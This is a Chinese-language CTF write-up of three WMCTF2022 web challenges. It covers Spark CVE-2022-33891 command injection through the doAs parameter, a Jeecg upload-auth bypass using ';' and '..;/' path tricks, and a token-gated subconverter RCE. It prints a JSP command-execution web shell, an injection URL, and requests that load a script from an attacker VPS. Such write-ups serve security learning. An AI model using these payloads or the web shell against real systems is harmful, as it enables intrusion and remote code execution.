July 8, 2023

WMCTF2022 Web WriteUP

Java

没环境。没办法,只能做一些知识点的学习了。
入口是个任意文件读取,读取War,然后再度K8s的token,就可以查看K8s的服务有个spark,版本是3.2.1,考虑CVE-2022-33891,因此这里主要是对这个漏洞做个复现

调试环境搭建

https://archive.apache.org/dist/spark/spark-3.2.1/
image.png
安装完后,改一下bin目录下的spark-shell脚本,加一个调试选项
export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
image.png
幸亏我是子系统。然后遇到了个BUG,JDK版本是17太高了,害。果然之前没有搞的都得还。然后捏windows访问不到wsl的ip。我放到VPS上去了。
./spark-shell --conf spark.acls.enable=true
[http://xxxx/jobs/?doAs=;touch%20/tmp/pwned](http://114.116.119.253:4041/jobs/?doAs=;touch%20/tmp/pwned)
image.png
image.png
代码是scala写的,勉强也看得懂,先进入doFilter函数,然后接收doAs参数
image.png
随后进入checkUIViewPermissions函数
image.png
image.png
进入isUserInACL,这是我们为什么启动时开启ACL配置。并且看变量框可以发现,user是恶意cmd
image.png
继续跟进user参数,进入getCurrentUserGroups里面
image.png
然后getGroup
image.png
接下来直接进行了cmd的拼贴。所以造成了命令注入
image.png
image.png
最后创建文件成功。
image.png
我们也可以改为反弹shell。

Jeecg

考点:Java代码审计,任意文件上传,权限绕过
image.png
长这b样。然后审计代码可以发现一些问题
image.png
cgUpload控制器的ajaxSave函数并没有判断白名单。所以假如可以调用到该路由就可以进行任意文件上传,但是有一个Auth监听器鉴权。我们需要做的就是绕过权限限制。
image.png
这里使用的是getRequestURI进行判断。所以可以使用;``..;/这样的东西进行绕过,有关参考
https://cloud.tencent.com/developer/article/1659416
我们这里就直接复现一下。首先准备个JSP马

1
2
3
4
5
6
7
8
9
10
11
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(request.getParameter("name")).getInputStream()));
String line = null;
StringBuffer b = new StringBuffer();
while ((line = br.readLine()) != null) {
b.append(line + " ");
}
out.println(b.toString());
%>

然后用burp抓个包。
image.png
正常send过去是会被auth拦截器拦截的。但是我们看看配置文件
image.png
放了个白名单,那就有机可乘了。我们可以用cgUploadController.do;toLogin.do/?ajaxSaveFile上传文件,原理就是;toLogin/会被截断去除,但是这样又绕过了auth认证,怎么绕过auth认证的呢?请看我分析
image.png调用了getJgAuthRequsetPath方法
image.png
这里用的是getrequestURI,获取路径
image.png
在上面判断一些东西,也没识别到,就原本原样返回。然后回到preHandle
image.png
因为前三个if都没识别到,所以进入了mohu模糊判断,只要路径包含白名单的url就绕过了。很傻逼这个判断,然后又因为tomcat处理请求的特性,会把;和/之间的内容删掉,所以造成了绕过拉
image.png
我们改成一个马上传,然后哥斯拉访问。
image.png
去访问这个马。
image.png
会给nginx拦了。但是我们也可以用/a/..;/绕过
image.png
结束咯

Subconvertor

考点:subconvertor一个rce漏洞
这东西本来是用来做格式转换的,结果被WM的114挖了洞(114我的偶像)
https://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03
参考这个POC
然后这一题是CVE的升级版,加了个token认证,我们可以通过任意文件读取读取token,继续rce
读源码发现几个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/version
/refreshrules
/readconf
/updateconf
/flushcache
/sub
/sub2clashr
/surge2clash
/getruleset
/getprofile
/qx-script
/qx-rewrite
/render
/convert

首先/qx-script?url=cHJlZi50b21s读取配置文件获取token
image.png
然后我们

1
2
3
/sub?target=clash&url=http://vps/1.js
/sub?target=clash&url=script:cache/63ff1abb5db4fd2df0498c46a44565c8,1&token=xxx
/qx-script?url=ZmxhYWFhYWFn

image.png
image.png
image.png
就行了,只不过flag是空的。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp